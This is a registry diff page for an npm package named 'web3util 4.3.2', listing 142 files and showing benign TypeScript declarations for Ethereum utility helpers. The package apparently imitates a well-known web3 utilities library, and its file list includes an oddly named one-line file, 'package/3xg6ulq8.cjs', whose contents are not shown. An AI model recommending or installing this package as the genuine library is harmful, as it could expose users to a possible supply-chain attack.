web3util 4.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (142) hide show
  1. package/3xg6ulq8.cjs +1 -0
  2. package/LICENSE +14 -0
  3. package/README.md +72 -0
  4. package/lib/commonjs/chunk_response_parser.d.ts +14 -0
  5. package/lib/commonjs/chunk_response_parser.js +66 -0
  6. package/lib/commonjs/chunk_response_parser.js.map +1 -0
  7. package/lib/commonjs/converters.d.ts +280 -0
  8. package/lib/commonjs/converters.js +624 -0
  9. package/lib/commonjs/converters.js.map +1 -0
  10. package/lib/commonjs/event_emitter.d.ts +10 -0
  11. package/lib/commonjs/event_emitter.js +44 -0
  12. package/lib/commonjs/event_emitter.js.map +1 -0
  13. package/lib/commonjs/formatter.d.ts +43 -0
  14. package/lib/commonjs/formatter.js +320 -0
  15. package/lib/commonjs/formatter.js.map +1 -0
  16. package/lib/commonjs/hash.d.ts +93 -0
  17. package/lib/commonjs/hash.js +347 -0
  18. package/lib/commonjs/hash.js.map +1 -0
  19. package/lib/commonjs/index.d.ts +18 -0
  20. package/lib/commonjs/index.js +63 -0
  21. package/lib/commonjs/index.js.map +1 -0
  22. package/lib/commonjs/json_rpc.d.ts +21 -0
  23. package/lib/commonjs/json_rpc.js +96 -0
  24. package/lib/commonjs/json_rpc.js.map +1 -0
  25. package/lib/commonjs/objects.d.ts +7 -0
  26. package/lib/commonjs/objects.js +62 -0
  27. package/lib/commonjs/objects.js.map +1 -0
  28. package/lib/commonjs/package.json +1 -0
  29. package/lib/commonjs/promise_helpers.d.ts +47 -0
  30. package/lib/commonjs/promise_helpers.js +155 -0
  31. package/lib/commonjs/promise_helpers.js.map +1 -0
  32. package/lib/commonjs/random.d.ts +28 -0
  33. package/lib/commonjs/random.js +55 -0
  34. package/lib/commonjs/random.js.map +1 -0
  35. package/lib/commonjs/socket_provider.d.ts +128 -0
  36. package/lib/commonjs/socket_provider.js +356 -0
  37. package/lib/commonjs/socket_provider.js.map +1 -0
  38. package/lib/commonjs/string_manipulation.d.ts +80 -0
  39. package/lib/commonjs/string_manipulation.js +147 -0
  40. package/lib/commonjs/string_manipulation.js.map +1 -0
  41. package/lib/commonjs/uint8array.d.ts +6 -0
  42. package/lib/commonjs/uint8array.js +59 -0
  43. package/lib/commonjs/uint8array.js.map +1 -0
  44. package/lib/commonjs/uuid.d.ts +11 -0
  45. package/lib/commonjs/uuid.js +57 -0
  46. package/lib/commonjs/uuid.js.map +1 -0
  47. package/lib/commonjs/validation.d.ts +82 -0
  48. package/lib/commonjs/validation.js +163 -0
  49. package/lib/commonjs/validation.js.map +1 -0
  50. package/lib/commonjs/web3_deferred_promise.d.ts +67 -0
  51. package/lib/commonjs/web3_deferred_promise.js +141 -0
  52. package/lib/commonjs/web3_deferred_promise.js.map +1 -0
  53. package/lib/commonjs/web3_eip1193_provider.d.ts +15 -0
  54. package/lib/commonjs/web3_eip1193_provider.js +109 -0
  55. package/lib/commonjs/web3_eip1193_provider.js.map +1 -0
  56. package/lib/esm/chunk_response_parser.js +62 -0
  57. package/lib/esm/chunk_response_parser.js.map +1 -0
  58. package/lib/esm/converters.js +603 -0
  59. package/lib/esm/converters.js.map +1 -0
  60. package/lib/esm/event_emitter.js +37 -0
  61. package/lib/esm/event_emitter.js.map +1 -0
  62. package/lib/esm/formatter.js +313 -0
  63. package/lib/esm/formatter.js.map +1 -0
  64. package/lib/esm/hash.js +336 -0
  65. package/lib/esm/hash.js.map +1 -0
  66. package/lib/esm/index.js +34 -0
  67. package/lib/esm/index.js.map +1 -0
  68. package/lib/esm/json_rpc.js +81 -0
  69. package/lib/esm/json_rpc.js.map +1 -0
  70. package/lib/esm/objects.js +58 -0
  71. package/lib/esm/objects.js.map +1 -0
  72. package/lib/esm/package.json +1 -0
  73. package/lib/esm/promise_helpers.js +146 -0
  74. package/lib/esm/promise_helpers.js.map +1 -0
  75. package/lib/esm/random.js +50 -0
  76. package/lib/esm/random.js.map +1 -0
  77. package/lib/esm/socket_provider.js +329 -0
  78. package/lib/esm/socket_provider.js.map +1 -0
  79. package/lib/esm/string_manipulation.js +140 -0
  80. package/lib/esm/string_manipulation.js.map +1 -0
  81. package/lib/esm/uint8array.js +53 -0
  82. package/lib/esm/uint8array.js.map +1 -0
  83. package/lib/esm/uuid.js +53 -0
  84. package/lib/esm/uuid.js.map +1 -0
  85. package/lib/esm/validation.js +158 -0
  86. package/lib/esm/validation.js.map +1 -0
  87. package/lib/esm/web3_deferred_promise.js +137 -0
  88. package/lib/esm/web3_deferred_promise.js.map +1 -0
  89. package/lib/esm/web3_eip1193_provider.js +105 -0
  90. package/lib/esm/web3_eip1193_provider.js.map +1 -0
  91. package/lib/types/chunk_response_parser.d.ts +15 -0
  92. package/lib/types/chunk_response_parser.d.ts.map +1 -0
  93. package/lib/types/converters.d.ts +281 -0
  94. package/lib/types/converters.d.ts.map +1 -0
  95. package/lib/types/event_emitter.d.ts +11 -0
  96. package/lib/types/event_emitter.d.ts.map +1 -0
  97. package/lib/types/formatter.d.ts +44 -0
  98. package/lib/types/formatter.d.ts.map +1 -0
  99. package/lib/types/hash.d.ts +94 -0
  100. package/lib/types/hash.d.ts.map +1 -0
  101. package/lib/types/index.d.ts +19 -0
  102. package/lib/types/index.d.ts.map +1 -0
  103. package/lib/types/json_rpc.d.ts +22 -0
  104. package/lib/types/json_rpc.d.ts.map +1 -0
  105. package/lib/types/objects.d.ts +8 -0
  106. package/lib/types/objects.d.ts.map +1 -0
  107. package/lib/types/promise_helpers.d.ts +48 -0
  108. package/lib/types/promise_helpers.d.ts.map +1 -0
  109. package/lib/types/random.d.ts +29 -0
  110. package/lib/types/random.d.ts.map +1 -0
  111. package/lib/types/socket_provider.d.ts +129 -0
  112. package/lib/types/socket_provider.d.ts.map +1 -0
  113. package/lib/types/string_manipulation.d.ts +81 -0
  114. package/lib/types/string_manipulation.d.ts.map +1 -0
  115. package/lib/types/uint8array.d.ts +7 -0
  116. package/lib/types/uint8array.d.ts.map +1 -0
  117. package/lib/types/uuid.d.ts +12 -0
  118. package/lib/types/uuid.d.ts.map +1 -0
  119. package/lib/types/validation.d.ts +83 -0
  120. package/lib/types/validation.d.ts.map +1 -0
  121. package/lib/types/web3_deferred_promise.d.ts +68 -0
  122. package/lib/types/web3_deferred_promise.d.ts.map +1 -0
  123. package/lib/types/web3_eip1193_provider.d.ts +16 -0
  124. package/lib/types/web3_eip1193_provider.d.ts.map +1 -0
  125. package/package.json +57 -0
  126. package/src/chunk_response_parser.ts +99 -0
  127. package/src/converters.ts +713 -0
  128. package/src/event_emitter.ts +37 -0
  129. package/src/formatter.ts +402 -0
  130. package/src/hash.ts +398 -0
  131. package/src/index.ts +36 -0
  132. package/src/json_rpc.ts +130 -0
  133. package/src/objects.ts +65 -0
  134. package/src/promise_helpers.ts +170 -0
  135. package/src/random.ts +53 -0
  136. package/src/socket_provider.ts +581 -0
  137. package/src/string_manipulation.ts +166 -0
  138. package/src/uint8array.ts +59 -0
  139. package/src/uuid.ts +59 -0
  140. package/src/validation.ts +193 -0
  141. package/src/web3_deferred_promise.ts +149 -0
  142. package/src/web3_eip1193_provider.ts +116 -0
@@ -0,0 +1,129 @@
1
+ import { ConnectionEvent, EthExecutionAPI, JsonRpcId, JsonRpcResponse, JsonRpcResponseWithResult, JsonRpcResult, ProviderConnectInfo, ProviderMessage, ProviderRpcError, SocketRequestItem, Web3APIMethod, Web3APIPayload, Web3APIReturnType, Web3APISpec, Web3Eip1193ProviderEventCallback, Web3ProviderEventCallback, Web3ProviderMessageEventCallback, Web3ProviderStatus } from 'web3-types';
2
+ import { Eip1193Provider } from './web3_eip1193_provider.js';
3
+ import { ChunkResponseParser } from './chunk_response_parser.js';
4
+ export declare type ReconnectOptions = {
5
+ autoReconnect: boolean;
6
+ delay: number;
7
+ maxAttempts: number;
8
+ };
9
+ export declare abstract class SocketProvider<MessageEvent, CloseEvent, ErrorEvent, API extends Web3APISpec = EthExecutionAPI> extends Eip1193Provider<API> {
10
+ protected isReconnecting: boolean;
11
+ protected readonly _socketPath: string;
12
+ protected readonly chunkResponseParser: ChunkResponseParser;
13
+ protected readonly _pendingRequestsQueue: Map<JsonRpcId, SocketRequestItem<any, any, any>>;
14
+ protected readonly _sentRequestsQueue: Map<JsonRpcId, SocketRequestItem<any, any, any>>;
15
+ protected _reconnectAttempts: number;
16
+ protected readonly _socketOptions?: unknown;
17
+ protected readonly _reconnectOptions: ReconnectOptions;
18
+ protected _socketConnection?: unknown;
19
+ get SocketConnection(): unknown;
20
+ protected _connectionStatus: Web3ProviderStatus;
21
+ protected readonly _onMessageHandler: (event: MessageEvent) => void;
22
+ protected readonly _onOpenHandler: () => void;
23
+ protected readonly _onCloseHandler: (event: CloseEvent) => void;
24
+ protected readonly _onErrorHandler: (event: ErrorEvent) => void;
25
+ /**
26
+ * This is an abstract class for implementing a socket provider (e.g. WebSocket, IPC). It extends the EIP-1193 provider {@link EIP1193Provider}.
27
+ * @param socketPath - The path to the socket (e.g. /ipc/path or ws://localhost:8546)
28
+ * @param socketOptions - The options for the socket connection. Its type is supposed to be specified in the inherited classes.
29
+ * @param reconnectOptions - The options for the socket reconnection {@link ReconnectOptions}
30
+ */
31
+ constructor(socketPath: string, socketOptions?: unknown, reconnectOptions?: Partial<ReconnectOptions>);
32
+ protected _init(): void;
33
+ /**
34
+ * Try to establish a connection to the socket
35
+ */
36
+ connect(): void;
37
+ protected abstract _openSocketConnection(): void;
38
+ protected abstract _addSocketListeners(): void;
39
+ protected abstract _removeSocketListeners(): void;
40
+ protected abstract _onCloseEvent(_event: unknown): void;
41
+ protected abstract _sendToSocket(_payload: Web3APIPayload<API, any>): void;
42
+ protected abstract _parseResponses(_event: MessageEvent): JsonRpcResponse[];
43
+ protected abstract _closeSocketConnection(_code?: number, _data?: string): void;
44
+ protected _validateProviderPath(path: string): boolean;
45
+ /**
46
+ *
47
+ * @returns the pendingRequestQueue size
48
+ */
49
+ getPendingRequestQueueSize(): number;
50
+ /**
51
+ *
52
+ * @returns the sendPendingRequests size
53
+ */
54
+ getSentRequestsQueueSize(): number;
55
+ /**
56
+ *
57
+ * @returns `true` if the socket supports subscriptions
58
+ */
59
+ supportsSubscriptions(): boolean;
60
+ /**
61
+ * Registers a listener for the specified event type.
62
+ * @param type - The event type to listen for
63
+ * @param listener - The callback to be invoked when the event is emitted
64
+ */
65
+ on(type: 'disconnect', listener: Web3Eip1193ProviderEventCallback<ProviderRpcError>): void;
66
+ on(type: 'connect', listener: Web3Eip1193ProviderEventCallback<ProviderConnectInfo>): void;
67
+ on(type: 'chainChanged', listener: Web3Eip1193ProviderEventCallback<string>): void;
68
+ on(type: 'accountsChanged', listener: Web3Eip1193ProviderEventCallback<string[]>): void;
69
+ on<T = JsonRpcResult>(type: 'message', listener: Web3Eip1193ProviderEventCallback<ProviderMessage> | Web3ProviderMessageEventCallback<T>): void;
70
+ on<T = JsonRpcResult>(type: string, listener: Web3Eip1193ProviderEventCallback<unknown> | Web3ProviderEventCallback<T>): void;
71
+ /**
72
+ * Registers a listener for the specified event type that will be invoked at most once.
73
+ * @param type - The event type to listen for
74
+ * @param listener - The callback to be invoked when the event is emitted
75
+ */
76
+ once(type: 'disconnect', listener: Web3Eip1193ProviderEventCallback<ProviderRpcError>): void;
77
+ once(type: 'connect', listener: Web3Eip1193ProviderEventCallback<ProviderConnectInfo>): void;
78
+ once(type: 'chainChanged', listener: Web3Eip1193ProviderEventCallback<string>): void;
79
+ once(type: 'accountsChanged', listener: Web3Eip1193ProviderEventCallback<string[]>): void;
80
+ once<T = JsonRpcResult>(type: 'message', listener: Web3Eip1193ProviderEventCallback<ProviderMessage> | Web3ProviderMessageEventCallback<T>): void;
81
+ once<T = JsonRpcResult>(type: string, listener: Web3Eip1193ProviderEventCallback<unknown> | Web3ProviderEventCallback<T>): void;
82
+ /**
83
+ * Removes a listener for the specified event type.
84
+ * @param type - The event type to remove the listener for
85
+ * @param listener - The callback to be executed
86
+ */
87
+ removeListener(type: 'disconnect', listener: Web3Eip1193ProviderEventCallback<ProviderRpcError>): void;
88
+ removeListener(type: 'connect', listener: Web3Eip1193ProviderEventCallback<ProviderConnectInfo>): void;
89
+ removeListener(type: 'chainChanged', listener: Web3Eip1193ProviderEventCallback<string>): void;
90
+ removeListener(type: 'accountsChanged', listener: Web3Eip1193ProviderEventCallback<string[]>): void;
91
+ removeListener<T = JsonRpcResult>(type: 'message', listener: Web3Eip1193ProviderEventCallback<ProviderMessage> | Web3ProviderMessageEventCallback<T>): void;
92
+ removeListener<T = JsonRpcResult>(type: string, listener: Web3Eip1193ProviderEventCallback<unknown> | Web3ProviderEventCallback<T>): void;
93
+ protected _onDisconnect(code: number, data?: string): void;
94
+ /**
95
+ * Disconnects the socket
96
+ * @param code - The code to be sent to the server
97
+ * @param data - The data to be sent to the server
98
+ */
99
+ disconnect(code?: number, data?: string): void;
100
+ /**
101
+ * Safely disconnects the socket, async and waits for request size to be 0 before disconnecting
102
+ * @param forceDisconnect - If true, will clear queue after 5 attempts of waiting for both pending and sent queue to be 0
103
+ * @param ms - Determines the ms of setInterval
104
+ * @param code - The code to be sent to the server
105
+ * @param data - The data to be sent to the server
106
+ */
107
+ safeDisconnect(code?: number, data?: string, forceDisconnect?: boolean, ms?: number): Promise<void>;
108
+ /**
109
+ * Removes all listeners for the specified event type.
110
+ * @param type - The event type to remove the listeners for
111
+ */
112
+ removeAllListeners(type: string): void;
113
+ protected _onError(event: ErrorEvent): void;
114
+ /**
115
+ * Resets the socket, removing all listeners and pending requests
116
+ */
117
+ reset(): void;
118
+ protected _reconnect(): void;
119
+ /**
120
+ * Creates a request object to be sent to the server
121
+ */
122
+ request<Method extends Web3APIMethod<API>, ResultType = Web3APIReturnType<API, Method>>(request: Web3APIPayload<API, Method>): Promise<JsonRpcResponseWithResult<ResultType>>;
123
+ protected _onConnect(): void;
124
+ private _sendPendingRequests;
125
+ protected _onMessage(event: MessageEvent): void;
126
+ clearQueues(event?: ConnectionEvent): void;
127
+ protected _clearQueues(event?: ConnectionEvent): void;
128
+ }
129
+ //# sourceMappingURL=socket_provider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I;IASrD;;;;;;OAMG;IACU,cAAc,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,MAAM,EAAE,eAAe,UAAQ,EAAE,EAAE,SAAO;IAuB5F;;;OAGG;IACI,kBAAkB,CAAC,IAAI,EAAE,MAAM,GAAG,IAAI;IAI7C,SAAS,CAAC,QAAQ,CAAC,KAAK,EAAE,UAAU,GAAG,IAAI;IAS3C;;OAEG;IACI,KAAK,IAAI,IAAI;IASpB,SAAS,CAAC,UAAU,IAAI,IAAI;IAiC5B;;OAEG;IACU,OAAO,CACnB,MAAM,SAAS,aAAa,CAAC,GAAG,CAAC,EACjC,UAAU,GAAG,iBAAiB,CAAC,GAAG,EAAE,MAAM,CAAC,EAC1C,OAAO,EAAE,cAAc,CAAC,GAAG,EAAE,MAAM,CAAC,GAAG,OAAO,CAAC,yBAAyB,CAAC,UAAU,CAAC,CAAC;IAgDvF,SAAS,CAAC,UAAU;IAOpB,OAAO,CAAC,oBAAoB;IAc5B,SAAS,CAAC,UAAU,CAAC,KAAK,EAAE,YAAY,GAAG,IAAI;IAsCxC,WAAW,CAAC,KAAK,CAAC,EAAE,eAAe;IAI1C,SAAS,CAAC,YAAY,CAAC,KAAK,CAAC,EAAE,eAAe;CAqB9C"}
@@ -0,0 +1,81 @@
1
+ /**
2
+ * @module Utils
3
+ */
4
+ import { Numbers } from 'web3-types';
5
+ /**
6
+ * Adds a padding on the left of a string, if value is a integer or bigInt will be converted to a hex string.
7
+ * @param value - The value to be padded.
8
+ * @param characterAmount - The amount of characters the string should have.
9
+ * @param sign - The sign to be added (default is 0).
10
+ * @returns The padded string.
11
+ *
12
+ * @example
13
+ * ```ts
14
+ *
15
+ * console.log(web3.utils.padLeft('0x123', 10));
16
+ * >0x0000000123
17
+ * ```
18
+ */
19
+ export declare const padLeft: (value: Numbers, characterAmount: number, sign?: string) => string;
20
+ /**
21
+ * Adds a padding on the right of a string, if value is a integer or bigInt will be converted to a hex string.
22
+ * @param value - The value to be padded.
23
+ * @param characterAmount - The amount of characters the string should have.
24
+ * @param sign - The sign to be added (default is 0).
25
+ * @returns The padded string.
26
+ *
27
+ * @example
28
+ * ```ts
29
+ * console.log(web3.utils.padRight('0x123', 10));
30
+ * > 0x1230000000
31
+ *
32
+ * console.log(web3.utils.padRight('0x123', 10, '1'));
33
+ * > 0x1231111111
34
+ * ```
35
+ */
36
+ export declare const padRight: (value: Numbers, characterAmount: number, sign?: string) => string;
37
+ /**
38
+ * Adds a padding on the right of a string, if value is a integer or bigInt will be converted to a hex string. @alias `padRight`
39
+ */
40
+ export declare const rightPad: (value: Numbers, characterAmount: number, sign?: string) => string;
41
+ /**
42
+ * Adds a padding on the left of a string, if value is a integer or bigInt will be converted to a hex string. @alias `padLeft`
43
+ */
44
+ export declare const leftPad: (value: Numbers, characterAmount: number, sign?: string) => string;
45
+ /**
46
+ * Converts a negative number into the two’s complement and return a hexstring of 64 nibbles.
47
+ * @param value - The value to be converted.
48
+ * @param nibbleWidth - The nibble width of the hex string (default is 64).
49
+ *
50
+ * @returns The hex string of the two’s complement.
51
+ *
52
+ * @example
53
+ * ```ts
54
+ * console.log(web3.utils.toTwosComplement(13, 32));
55
+ * > 0x0000000000000000000000000000000d
56
+ *
57
+ * console.log(web3.utils.toTwosComplement('-0x1', 32));
58
+ * > 0xffffffffffffffffffffffffffffffff
59
+ *
60
+ * console.log(web3.utils.toTwosComplement(BigInt('9007199254740992'), 32));
61
+ * > 0x00000000000000000020000000000000
62
+ * ```
63
+ */
64
+ export declare const toTwosComplement: (value: Numbers, nibbleWidth?: number) => string;
65
+ /**
66
+ * Converts the twos complement into a decimal number or big int.
67
+ * @param value - The value to be converted.
68
+ * @param nibbleWidth - The nibble width of the hex string (default is 64).
69
+ * @returns The decimal number or big int.
70
+ *
71
+ * @example
72
+ * ```ts
73
+ * console.log(web3.utils.fromTwosComplement('0x0000000000000000000000000000000d', 32'));
74
+ * > 13
75
+ *
76
+ * console.log(web3.utils.fromTwosComplement('0x00000000000000000020000000000000', 32));
77
+ * > 9007199254740992n
78
+ * ```
79
+ */
80
+ export declare const fromTwosComplement: (value: Numbers, nibbleWidth?: number) => number | bigint;
81
+ //# sourceMappingURL=string_manipulation.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"string_manipulation.d.ts","sourceRoot":"","sources":["../../src/string_manipulation.ts"],"names":[],"mappings":"AAiBA;;GAEG;AAEH,OAAO,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAKrC;;;;;;;;;;;;;GAaG;AACH,eAAO,MAAM,OAAO,UAAW,OAAO,mBAAmB,MAAM,oBAAe,MAc7E,CAAC;AAEF;;;;;;;;;;;;;;;GAeG;AACH,eAAO,MAAM,QAAQ,UAAW,OAAO,mBAAmB,MAAM,oBAAe,MAW9E,CAAC;AAEF;;GAEG;AACH,eAAO,MAAM,QAAQ,UAhBW,OAAO,mBAAmB,MAAM,oBAAe,MAgB/C,CAAC;AAEjC;;GAEG;AACH,eAAO,MAAM,OAAO,UArDW,OAAO,mBAAmB,MAAM,oBAAe,MAqDhD,CAAC;AAE/B;;;;;;;;;;;;;;;;;;GAkBG;AACH,eAAO,MAAM,gBAAgB,UAAW,OAAO,2BAAqB,MAgBnE,CAAC;AAEF;;;;;;;;;;;;;;GAcG;AACH,eAAO,MAAM,kBAAkB,UAAW,OAAO,2BAAqB,MAAM,GAAG,MAkB9E,CAAC"}
@@ -0,0 +1,7 @@
1
+ export declare function isUint8Array(data: unknown | Uint8Array): data is Uint8Array;
2
+ export declare function uint8ArrayConcat(...parts: Uint8Array[]): Uint8Array;
3
+ /**
4
+ * Returns true if the two passed Uint8Arrays have the same content
5
+ */
6
+ export declare function uint8ArrayEquals(a: Uint8Array, b: Uint8Array): boolean;
7
+ //# sourceMappingURL=uint8array.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"uint8array.d.ts","sourceRoot":"","sources":["../../src/uint8array.ts"],"names":[],"mappings":"AAiBA,wBAAgB,YAAY,CAAC,IAAI,EAAE,OAAO,GAAG,UAAU,GAAG,IAAI,IAAI,UAAU,CAM3E;AAED,wBAAgB,gBAAgB,CAAC,GAAG,KAAK,EAAE,UAAU,EAAE,GAAG,UAAU,CAYnE;AAED;;GAEG;AACH,wBAAgB,gBAAgB,CAAC,CAAC,EAAE,UAAU,EAAE,CAAC,EAAE,UAAU,GAAG,OAAO,CAgBtE"}
@@ -0,0 +1,12 @@
1
+ /**
2
+ * Generate a version 4 (random) uuid
3
+ * https://github.com/uuidjs/uuid/blob/main/src/v4.js#L5
4
+ * @returns - A version 4 uuid of the form xxxxxxxx-xxxx-4xxx-xxxx-xxxxxxxxxxxx
5
+ * @example
6
+ * ```ts
7
+ * console.log(web3.utils.uuidV4());
8
+ * > "1b9d6bcd-bbfd-4b2d-9b5d-ab8dfbbd4bed"
9
+ * ```
10
+ */
11
+ export declare const uuidV4: () => string;
12
+ //# sourceMappingURL=uuid.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"uuid.d.ts","sourceRoot":"","sources":["../../src/uuid.ts"],"names":[],"mappings":"AAwBA;;;;;;;;;GASG;AACH,eAAO,MAAM,MAAM,QAAO,MAwBzB,CAAC"}
@@ -0,0 +1,83 @@
1
+ import { BlockNumberOrTag, ContractInitOptions } from 'web3-types';
2
+ /**
3
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
4
+ */
5
+ export declare const isHexStrict: (hex: import("web3-validator").ValidInputTypes) => boolean;
6
+ /**
7
+ * returns true if input is a hexstring, number or bigint
8
+ *
9
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
10
+ */
11
+ export declare const isHex: (hex: import("web3-validator").ValidInputTypes) => boolean;
12
+ /**
13
+ * Checks the checksum of a given address. Will also return false on non-checksum addresses.
14
+ *
15
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
16
+ */
17
+ export declare const checkAddressCheckSum: (data: string) => boolean;
18
+ /**
19
+ * Checks if a given string is a valid Ethereum address. It will also check the checksum, if the address has upper and lowercase letters.
20
+ *
21
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
22
+ */
23
+ export declare const isAddress: (value: import("web3-validator").ValidInputTypes, checkChecksum?: boolean | undefined) => boolean;
24
+ /**
25
+ * Returns true if the bloom is a valid bloom
26
+ * https://github.com/joshstevens19/ethereum-bloom-filters/blob/fbeb47b70b46243c3963fe1c2988d7461ef17236/src/index.ts#L7
27
+ *
28
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
29
+ */
30
+ export declare const isBloom: (bloom: import("web3-validator").ValidInputTypes) => boolean;
31
+ /**
32
+ * Returns true if the value is part of the given bloom
33
+ * note: false positives are possible.
34
+ *
35
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
36
+ */
37
+ export declare const isInBloom: (bloom: string, value: string | Uint8Array) => boolean;
38
+ /**
39
+ * Returns true if the ethereum users address is part of the given bloom note: false positives are possible.
40
+ *
41
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
42
+ */
43
+ export declare const isUserEthereumAddressInBloom: (bloom: string, ethereumAddress: string) => boolean;
44
+ /**
45
+ * Returns true if the contract address is part of the given bloom.
46
+ * note: false positives are possible.
47
+ *
48
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
49
+ */
50
+ export declare const isContractAddressInBloom: (bloom: string, contractAddress: string) => boolean;
51
+ /**
52
+ * Checks if its a valid topic
53
+ *
54
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
55
+ */
56
+ export declare const isTopic: (topic: string) => boolean;
57
+ /**
58
+ * Returns true if the topic is part of the given bloom.
59
+ * note: false positives are possible.
60
+ *
61
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
62
+ */
63
+ export declare const isTopicInBloom: (bloom: string, topic: string) => boolean;
64
+ /**
65
+ * Compares between block A and block B
66
+ * @param blockA - Block number or string
67
+ * @param blockB - Block number or string
68
+ *
69
+ * @returns - Returns -1 if a \< b, returns 1 if a \> b and returns 0 if a == b
70
+ *
71
+ * @example
72
+ * ```ts
73
+ * console.log(web3.utils.compareBlockNumbers('latest', 'pending'));
74
+ * > -1
75
+ *
76
+ * console.log(web3.utils.compareBlockNumbers(12, 11));
77
+ * > 1
78
+ * ```
79
+ */
80
+ export declare const compareBlockNumbers: (blockA: BlockNumberOrTag, blockB: BlockNumberOrTag) => 0 | 1 | -1;
81
+ export declare const isContractInitOptions: (options: unknown) => options is ContractInitOptions;
82
+ export declare const isNullish: (item: unknown) => item is null | undefined;
83
+ //# sourceMappingURL=validation.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"validation.d.ts","sourceRoot":"","sources":["../../src/validation.ts"],"names":[],"mappings":"AAoCA,OAAO,EAAE,gBAAgB,EAAa,mBAAmB,EAAE,MAAM,YAAY,CAAC;AAE9E;;GAEG;AACH,eAAO,MAAM,WAAW,4DAAuB,CAAC;AAEhD;;;;GAIG;AACH,eAAO,MAAM,KAAK,4DAAiB,CAAC;AAEpC;;;;GAIG;AACH,eAAO,MAAM,oBAAoB,2BAAgC,CAAC;AAElE;;;;GAIG;AACH,eAAO,MAAM,SAAS,mGAAqB,CAAC;AAE5C;;;;;GAKG;AACH,eAAO,MAAM,OAAO,8DAAmB,CAAC;AAExC;;;;;GAKG;AACH,eAAO,MAAM,SAAS,wDAAqB,CAAC;AAE5C;;;;GAIG;AACH,eAAO,MAAM,4BAA4B,qDAAwC,CAAC;AAElF;;;;;GAKG;AACH,eAAO,MAAM,wBAAwB,qDAAoC,CAAC;AAE1E;;;;GAIG;AACH,eAAO,MAAM,OAAO,4BAAmB,CAAC;AAExC;;;;;GAKG;AACH,eAAO,MAAM,cAAc,2CAA0B,CAAC;AAEtD;;;;;;;;;;;;;;;GAeG;AACH,eAAO,MAAM,mBAAmB,WAAY,gBAAgB,UAAU,gBAAgB,eA+CrF,CAAC;AAEF,eAAO,MAAM,qBAAqB,YAAa,OAAO,mCAexB,CAAC;AAE/B,eAAO,MAAM,SAAS,6CAAqB,CAAC"}
@@ -0,0 +1,68 @@
1
+ import { Web3DeferredPromiseInterface } from 'web3-types';
2
+ /**
3
+ * The class is a simple implementation of a deferred promise with optional timeout functionality,
4
+ * which can be useful when dealing with asynchronous tasks.
5
+ *
6
+ */
7
+ export declare class Web3DeferredPromise<T> implements Promise<T>, Web3DeferredPromiseInterface<T> {
8
+ [Symbol.toStringTag]: 'Promise';
9
+ private readonly _promise;
10
+ private _resolve;
11
+ private _reject;
12
+ private _state;
13
+ private _timeoutId?;
14
+ private readonly _timeoutInterval?;
15
+ private readonly _timeoutMessage;
16
+ /**
17
+ *
18
+ * @param timeout - (optional) The timeout in milliseconds.
19
+ * @param eagerStart - (optional) If true, the timer starts as soon as the promise is created.
20
+ * @param timeoutMessage - (optional) The message to include in the timeout erro that is thrown when the promise times out.
21
+ */
22
+ constructor({ timeout, eagerStart, timeoutMessage, }?: {
23
+ timeout: number;
24
+ eagerStart: boolean;
25
+ timeoutMessage: string;
26
+ });
27
+ /**
28
+ * Returns the current state of the promise.
29
+ * @returns 'pending' | 'fulfilled' | 'rejected'
30
+ */
31
+ get state(): 'pending' | 'fulfilled' | 'rejected';
32
+ /**
33
+ *
34
+ * @param onfulfilled - (optional) The callback to execute when the promise is fulfilled.
35
+ * @param onrejected - (optional) The callback to execute when the promise is rejected.
36
+ * @returns
37
+ */
38
+ then<TResult1, TResult2>(onfulfilled?: (value: T) => TResult1 | PromiseLike<TResult1>, onrejected?: (reason: unknown) => TResult2 | PromiseLike<TResult2>): Promise<TResult1 | TResult2>;
39
+ /**
40
+ *
41
+ * @param onrejected - (optional) The callback to execute when the promise is rejected.
42
+ * @returns
43
+ */
44
+ catch<TResult>(onrejected?: (reason: any) => TResult | PromiseLike<TResult>): Promise<T | TResult>;
45
+ /**
46
+ *
47
+ * @param onfinally - (optional) The callback to execute when the promise is settled (fulfilled or rejected).
48
+ * @returns
49
+ */
50
+ finally(onfinally?: (() => void) | undefined): Promise<T>;
51
+ /**
52
+ * Resolves the current promise.
53
+ * @param value - The value to resolve the promise with.
54
+ */
55
+ resolve(value: T | PromiseLike<T>): void;
56
+ /**
57
+ * Rejects the current promise.
58
+ * @param reason - The reason to reject the promise with.
59
+ */
60
+ reject(reason?: unknown): void;
61
+ /**
62
+ * Starts the timeout timer for the promise.
63
+ */
64
+ startTimer(): void;
65
+ private _checkTimeout;
66
+ private _clearTimeout;
67
+ }
68
+ //# sourceMappingURL=web3_deferred_promise.d.ts.map
@@ -0,0 +1 @@
1
